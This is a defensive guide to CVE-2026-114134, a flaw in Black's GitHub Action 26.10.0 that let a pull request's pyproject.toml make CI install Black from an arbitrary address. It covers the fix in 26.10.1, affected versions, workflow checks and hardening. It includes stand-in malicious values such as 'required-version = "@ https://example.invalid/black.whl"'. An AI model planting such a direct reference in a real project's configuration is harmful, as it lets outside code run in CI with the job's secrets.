Guide · Backend
Black's October 2026 GitHub Action Flaw Explained: When a PR Picks CI Installs
18 min readUpdated By Saket Bhatnagar
Researched and drafted with AI, reviewed and edited by Saket Bhatnagar.
In short
- The Black GitHub Action vulnerability, CVE-2026-114134, let a pull request choose what your CI installs. Black is a Python code formatter, and CI (continuous integration) is the set of automatic checks that run on every change.
- With the option use_pyproject: true, the action reads a version from pyproject.toml, the project's settings file. In action release 26.10.0, that value reached pip unchecked, so a web address worked too.
- Black 26.10.1, released on 10 October 2026, accepts only real Black versions and rejects addresses. Black's release notes say psf/black@stable users get the fix automatically. A workflow pinned to 26.10.0 must be updated.
- What matters is the action reference in your workflow file, not the black version your project installs. Running Black on your laptop was never affected.
- Beginners can stop after the section on checking your workflows. Engineers then get a tested comparison of five Black releases, why the advisories disagree, and the trade-off between commit pinning and automatic fixes.
What goes wrong when a pull request can choose what your CI installs?
A pull request can run its own code inside your CI. That is what the Black GitHub Action vulnerability allowed when CI read the Black version from a file the pull request could edit.
Picture a common setup. An open-source Python library that reads GST invoices runs Black on every pull request and on every push to its main branch. The setup is made up, but the bug is real.
The team wants CI and every laptop to use the same Black version. So the workflow uses Black's own GitHub Action with use_pyproject: true, and pyproject.toml says which version to use.
One day a pull request titled "Bump Black" changes a single line in pyproject.toml. The diff looks like routine upkeep. In Black's action release 26.10.0, that line could point to a file on any web server instead of a release.
A pull request is a proposed change that the project can review and merge. On GitHub, CI runs as workflows, and the computer that runs a job is called a runner.
Which words do you need before reading about this vulnerability?
You need six terms. Each one is used exactly this way through the rest of the guide.
- GitHub Action: a reusable step that a workflow pulls in with a uses: line, such as uses: psf/black@stable.
- Action reference: the part after the @ sign. It can be a branch like stable, a tag like 26.10.0, or a full commit SHA, which is the 40-character ID of one exact commit.
- pyproject.toml: the standard settings file of a Python project. Black reads its own settings from the tool.black table inside it.
- required-version: a Black setting in that table that says which Black version the project expects, for example 26.1.0.
- Version specifier: a rule that picks released versions, such as ==26.1.0 (exactly this one) or >=26,<27 (any 26.x release). pip then downloads a matching release from PyPI, the public Python package store.
- Direct reference: a requirement that names a web address instead of a version, written black @ https://example.invalid/black.whl. pip fetches that package from the address instead of from PyPI.
What is the Black GitHub Action vulnerability (CVE-2026-114134)?
The Black GitHub Action vulnerability is a flaw in the action's install step. In release 26.10.0, with use_pyproject set to true, the action turned tool.black.required-version into a pip requirement without checking that it was a version.
Black's maintainers published the advisory, GHSA-cg8m-r9f2-5wm2, on 10 October 2026, the same day as the fix. A researcher named in the advisory as jiteshgulati reported it.
The advisory describes the attack in two conditions. The victim's workflow uses the action with use_pyproject: true. An attacker then opens a pull request that edits pyproject.toml to point Black at a malicious repository.
The GitHub Advisory Database rates it High, 8.7 out of 10 on CVSS 4.0, the common scoring system for vulnerabilities. It files the weakness as CWE-829, which means pulling in functionality from a place you do not control.
How did one line in pyproject.toml make CI install attacker code?
The action built a pip command from that line and ran it. Black 26.10.0 copied any value that did not start with a digit straight into the requirement, so an address became a direct reference.
Here is the chain, step by step, as the code in action/main.py runs it.
How a pyproject.toml edit reached pip in Black's action 26.10.0
Drag to exploreNotice that nothing between the pull request and pip checks the value. The fix in 26.10.1 adds that check at the fourth box.
Diagram connections:
- Pull request edits a line to Checkout copies PR code (workflow starts)
- Checkout copies PR code to Action reads the value (file on disk)
- Action reads the value to Requirement is built (no check in 26.10.0)
- Requirement is built to pip installs from the URL (pip install)
- pip installs from the URL to Action runs that black (new black command)
- Pull request edits a line: required-version = "@ https://..."
- Checkout copies PR code: Runner gets the PR's pyproject.toml
- Action reads the value: use_pyproject: true, required-version first
- Requirement is built: black[colorama]@ https://... in 26.10.0
- pip installs from the URL: PyPI is skipped for a direct reference
- Action runs that black: Code runs with the job's token and env
Code can run at two points. pip's own documentation warns that installing a package can involve running arbitrary code from it. After the install, the action runs the black command from the new package, so the package author decides what that command does.
An everyday picture helps. Your home has a standing grocery order for one brand of detergent. The pack size comes from a note on the fridge. The delivery person reads the note and buys that size from the usual supermarket.
Map it across. The fridge note is pyproject.toml, the pack size is the version, the delivery person is the action, and the supermarket is PyPI. The bug is that the delivery person also accepted "buy it from this other address" written on the note, and anyone could write on that note.
Where the picture breaks: a real delivery person would find an odd address strange. Code has no such instinct, so the fix had to spell out which notes are allowed.
What did Black 26.10.1 change in the GitHub Action?
It runs the required-version value through an allowlist, a list of allowed shapes. Black already used the same check, since 26.3.0, for black entries in pyproject.toml's dependency lists. Only version comparisons like ==, ~=, >=, < and commas between them pass; anything else stops the job.
Bare versions still work as before. The value 26.1.0 becomes ==26.1.0, and the value 26 becomes ~=26.0, which means any 26.x release.
Anything else now fails with a clear message in the job log. This is the exact text from the 26.10.1 source:
::error::Invalid 'required-version' in pyproject.toml: expected a version or version specifier, for example '26.1.0' or '>=26,<27'.The fix is pull request 5510, "Action: validate required-version better", merged on 10 October 2026. It also added tests that feed a fake address and a version with extra words, and expect the action to exit.
Black's documentation has carried a security note since 26.3.0. It says use_pyproject accepts only standard specifiers and PyPI versions. It also says that if your workflow runs on untrusted pull requests, you should prefer setting the version input explicitly. Release 26.10.0 shipped with that note, but its code did not enforce it for required-version.
How do you check whether your workflows use the vulnerable action?
Search your workflow files for psf/black and look at two things: the reference after the @ sign, and whether use_pyproject is true. Remember that the action's code comes from that reference, not from the black package your project installs.
Find every use of the action
From your repository root, run grep -rn -A3 "psf/black@" .github/workflows. Each match shows the reference and the next three lines, where with: options usually sit.
Check the reference
@stable gets fixes automatically, per Black's release notes. A tag or commit SHA from 26.10.0 carries this bug, and one older than 26.3.0 carries the March bug. Move either to 26.10.1 or later.
Check use_pyproject
If use_pyproject: true is absent, the action does not read pyproject.toml for the version. Those steps were never exposed to this bug.
Read a recent job log
The action prints one line before installing. A safe run shows something like Installing black[colorama]==26.1.0... with a version after the extras.
Look for addresses in that line
An @ sign followed by https or git+ after black[colorama] means pip installed from an address. Treat that run's runner as untrusted and rotate what it could reach.
In our sample repository, the grep printed two matches. One was uses: psf/black@stable with version: "~= 26.0". The other was uses: psf/[email protected] with use_pyproject: true, which is the one to fix.
Which Black releases are affected, and why do the advisories disagree?
The sources give two different answers. Black's repository advisory lists 26.9.0 and 26.10.0 as affected. The GitHub Advisory Database says every version below 26.10.1, and OSV, the open vulnerability database, says the same.
There is a further wrinkle. We found no 26.9.0 on PyPI or among the repository's tags as of 28 October 2026. The releases go from 26.5.1 in May to 26.10.0 on 4 October.
Pause and predict. If you fed a web address into required-version on releases before 26.10.0, would pip install from it? We tested this on the released code of five versions, with harmless values only.
| Value in pyproject.toml | 26.1.0 | 26.3.0 and 26.5.1 | 26.10.0 | 26.10.1 |
|---|---|---|---|---|
| required-version = "26.1.0" | ==26.1.0 from PyPI | ==26.1.0 from PyPI | ==26.1.0 from PyPI | ==26.1.0 from PyPI |
| required-version = ">=26,<27" | Broken requirement, pip rejects it | Broken requirement, pip rejects it | Any 26.x from PyPI | Any 26.x from PyPI |
| required-version = "@ https://example.invalid/black.whl" | Broken requirement, pip rejects it | Broken requirement, pip rejects it | Direct reference: installs from the address | Action stops with an error |
| dependency-groups entry "black @ https://example.invalid/black.whl" | Direct reference: installs from the address | Action stops with an error | Action stops with an error | Action stops with an error |
What just happened? In every earlier release we read, 25.12.0 to 26.5.1, the action always put == or ~= in front of required-version. That made an address into nonsense that pip refused, so this exact door was shut by accident.
Release 26.10.0 added support for ranges like >=26,<27 in required-version, through pull request 5399. To do that, it stopped adding a prefix to values that do not start with a digit. Addresses do not start with a digit.
So, by our reading of the released code, the required-version door opened in 26.10.0. Versions before 26.3.0 had a different door, in the dependency lists, which the bottom row shows.
That wide range is broader than the code. The use_pyproject option only arrived in Black 24.4.0, so older releases of the action could not be exposed through either door.
So the sources disagree for a reason. The repository advisory appears to count only the new door. The database and OSV list every release below 26.10.1, including the 18.x releases.
Why does this matter if a pull request can already edit the workflow file?
It matters because pyproject.toml reaches places where the workflow file does not. For a normal pull_request run, GitHub uses the workflow from the pull request's merged code, so the author could change the workflow anyway.
GitHub limits those runs from forks: the GITHUB_TOKEN, the job's automatic access key, is read-only, and other secrets are not passed. First-time contributors to public repositories may also need a maintainer's approval before their workflows run.
By our reading of GitHub's trigger rules, the pyproject.toml door is wider in two cases. The advisory itself does not name a trigger.
- Privileged triggers. A pull_request_target workflow runs the workflow file from your default branch, with secrets. If it checks out the pull request's code and runs Black with use_pyproject, the attacker's pyproject.toml decides the install. Since actions/checkout v7, checkout refuses that fork code unless allow-unsafe-pr-checkout: true is set.
- After the merge. A reviewer approves the one-line "Bump Black" change. Every push run on main now installs from the address, with whatever secrets and token permissions that job has.
Our guide on GitHub's November 2026 pull request target block covers the first case and how to fix those workflows. We do not repeat it here.
What code inside a Black step can reach
Drag to exploreNotice that everything the black command can reach is set by your workflow, not by Black. Shrinking it limits any bad install, not just this one.
Diagram connections:
- Installed black command to GITHUB_TOKEN (can call the API with)
- Installed black command to Token saved by checkout (can read)
- Installed black command to Secrets in the job env (can read)
- Installed black command to Network access (can send out)
- Installed black command: Runs inside the job on the runner
- GITHUB_TOKEN: Its rights come from the permissions key
- Token saved by checkout: persist-credentials defaults to true
- Secrets in the job env: Only those the job references
- Network access: Can send what it finds anywhere
How should you harden a workflow that runs Black?
Update the action, stop reading the version from a file the pull request controls, and give the job the smallest token it needs. Each step below is from GitHub's or Black's documentation.
Move to a fixed action reference
Use @stable, a tag of 26.10.1 or later, or the commit SHA of such a release. This is the only step that removes the bug itself.
Set the version in the workflow for untrusted pull requests
Replace use_pyproject: true with version: "~= 26.0". Black's documentation recommends this, and the two inputs cannot be used together.
Make the token read-only
Add permissions: contents: read at the top of the workflow. GitHub's secure use guide recommends a read-only default, widened only for the jobs that need more.
Do not leave the token on disk
Set persist-credentials: false on actions/checkout. By default checkout saves the token on the runner for later git commands, where later steps can read it.
Keep secrets out of lint jobs
Run Black in its own job that references no secrets. A publishing job with a PyPI token should never share a job with a formatter.
Put together, a lint workflow looks like this. It parses as valid YAML, and the version value makes a valid PyPI specifier; we did not run it on GitHub's hosted runners.
name: Lint
on: [pull_request]
permissions:
contents: read
jobs:
black:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v7
with:
persist-credentials: false
- uses: psf/black@stable
with:
options: "--check --diff"
version: "~= 26.0"To check it worked, open the job log. You should see Installing black[colorama]~= 26.0... and then Black's usual check output. The --check --diff options are the action's default.
Should you pin GitHub Actions to a commit SHA after this?
Yes, but only with an automatic way to receive updates. In this incident, the moving stable branch delivered the fix, and a SHA pinned to 26.10.0 would have kept the bug. As of 28 October 2026, stable points at the same commit as the 26.10.1 tag.
GitHub's secure use guide recommends pinning actions to a full-length commit SHA. Its reason is that a tag can be moved or deleted if a bad actor gets into the action's repository.
| Reference | Got the 26.10.1 fix | If the action's repository were taken over | Upkeep |
|---|---|---|---|
| psf/black@stable | Yes, automatically | A push to the branch would reach you at once | None |
| psf/[email protected] tag | No, you edit the line | A tag can still be moved | Manual edits |
| psf/black@COMMIT_SHA | No, you edit the line | Your pinned commit cannot change | Needs an update bot |
The usual middle path is a SHA pin plus a bot that opens update pull requests. GitHub's Dependabot raises pull requests for outdated actions in workflow files when .github/dependabot.yml lists the github-actions ecosystem with directory "/". Confirm your bot updates SHA pins too.
Why is this advisory filed under pip and not GitHub Actions?
As of 28 October 2026, the GitHub Advisory Database lists this advisory under the pip package black. The March advisory, CVE-2026-31900, is listed under the GitHub Actions ecosystem as psf/black.
The code at fault is the same in both cases: action/main.py, which ships in the black source release on PyPI and in the action's repository. Only the label differs.
Our inference, not a documented behaviour: tools that match advisories to your dependencies may treat the two differently. A Python dependency scanner may flag black in your requirements even if you never use the action.
A scanner that reads only uses: lines in workflows may miss the new advisory entirely. So check workflows by hand with the grep above, and do not rely on an alert either way. Recheck the label later; database entries can be edited.
How do you explain the Black GitHub Action vulnerability in a system design interview?
Frame it as a trust boundary problem in a build pipeline. Interviewers want to hear who controls each input and what the code that reads it can reach.
Name the boundary
A pull request is untrusted input. Any file it can edit, including pyproject.toml, is input too, even when CI treats it as configuration.
Trace the input to an action
required-version flowed into pip install. A direct reference made pip fetch code from any address, and the action then ran it.
Fix with an allowlist
Black 26.10.1 accepts only version specifiers. Say why an allowlist of good shapes beats a blocklist of bad ones like https.
Limit the blast radius
Read-only token, no saved credentials, no secrets in lint jobs, and no privileged trigger that runs pull request code.
Control the supply of tools
Pin third-party actions to commit SHAs and let an update bot propose new versions, so fixes still arrive.
Questions people ask
- Am I affected if I only run Black on my laptop or in pre-commit?
- No. The bug is in the GitHub Action's install script, action/main.py, which only runs when a workflow uses psf/black. Running the black command yourself never reads required-version to decide what to install.
- Does upgrading the black package in requirements.txt fix it?
- No. The action's code comes from the reference in your workflow, such as psf/black@stable. Black's changelog says the fix is independent of the Black version the action installs. Change the uses: line, not your requirements.
- I use psf/black@stable. Do I need to do anything?
- Black's release notes say @stable users receive the fix automatically. It is still worth reading one recent job log for the Installing line, and setting a read-only token. Those steps protect you from the next bug of this kind too.
- Is there a Black 26.9.0?
- Not on PyPI or among the repository's tags as of 28 October 2026. The repository advisory lists 26.9.0 as affected, but PyPI goes from 26.5.1 to 26.10.0. The GitHub Advisory Database and OSV instead list every version below 26.10.1.
- Would pinning the action to a commit SHA have protected me?
- Not from this bug. A SHA pin stops a moved tag from changing your code, but a pin to 26.10.0's commit keeps the vulnerable code until you update it. Pair SHA pins with an update bot such as Dependabot.
- What does CWE-829 mean?
- CWE-829 is the weakness category "Inclusion of Functionality from Untrusted Control Sphere". In plain words, your program loads and runs code from a place someone else controls. Here, a pull request controlled where pip downloaded Black from.
Sources and further reading
- Black security advisory GHSA-cg8m-r9f2-5wm2 (repository advisory, 10 October 2026)
- GitHub Advisory Database: GHSA-cg8m-r9f2-5wm2, CVE-2026-114134 (CVSS 4.0, CWE-829, reviewed 22 October 2026)
- OSV: GHSA-cg8m-r9f2-5wm2 affected ranges
- psf/black pull request 5510: Action: validate required-version better
- Black 26.10.1 release notes
- psf/black pull request 5399: version specifiers in tool.black.required-version (shipped in 26.10.0)
- GitHub Advisory Database: GHSA-v53h-f6m7-xcgm, CVE-2026-31900 (March 2026)
- GitHub Docs: Secure use reference (pinning to commit SHAs, token permissions)
- GitHub Docs: Events that trigger workflows (pull_request from forks, pull_request_target)
- actions/checkout README (ref default, persist-credentials)
- GitHub Docs: Keeping your actions up to date with Dependabot
- pip docs: Secure installs